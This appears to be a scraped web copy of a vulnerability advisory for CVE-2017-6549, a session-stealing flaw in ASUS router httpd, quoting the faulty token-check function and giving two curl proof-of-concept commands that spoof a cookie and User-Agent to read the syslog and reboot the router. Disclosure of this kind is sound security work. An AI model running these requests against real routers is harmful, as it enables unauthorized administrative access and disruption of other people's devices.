扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 |
Session Stealing Component: httpd CVE: CVE-2017-6549 Vulnerability: httpd uses the function search_token_in_list to validate if a user is logged into the admin interface by checking his asus_token value. There seems to be a branch which could be a failed attempt to build in a logout functionality. asus_token_t* search_token_in_list(char* token, asus_token_t **prev) { asus_token_t *ptr = head; asus_token_t *tmp = NULL; int found = 0; char *cp = NULL; while(ptr != NULL) { if(!strncmp(token, ptr->token, 32)) { found = 1; break; } else if(strncmp(token, "cgi_logout", 10) == 0) { cp = strtok(ptr->useragent, "-"); if(strcmp(cp, "asusrouter") != 0) { found = 1; break; } } else { tmp = ptr; ptr = ptr->next; } } if(found == 1) { if(prev) *prev = tmp; return ptr; } else { return NULL; } } If an attacker sets his cookie value to cgi_logout and puts asusrouter-Windows-IFTTT-1.0 into his User-Agent header he will be treated as signed-in if any other administrator session is active. PoC: # read syslog curl -H 'User-Agent: asusrouter-Windows-IFTTT-1.0' -H 'Cookie: asus_token=cgi_logout' http://192.168.1.1/syslog.txt #reboot router curl -H 'User-Agent: asusrouter-Windows-IFTTT-1.0' -H 'Cookie: asus_token=cgi_logout' http://192.168.1.1/apply.cgi1 -d 'action_mode=reboot&action_script=&action_wait=70' It’s possible to execute arbitrary commands on the router if any admin session is currently active. |
体验盒子
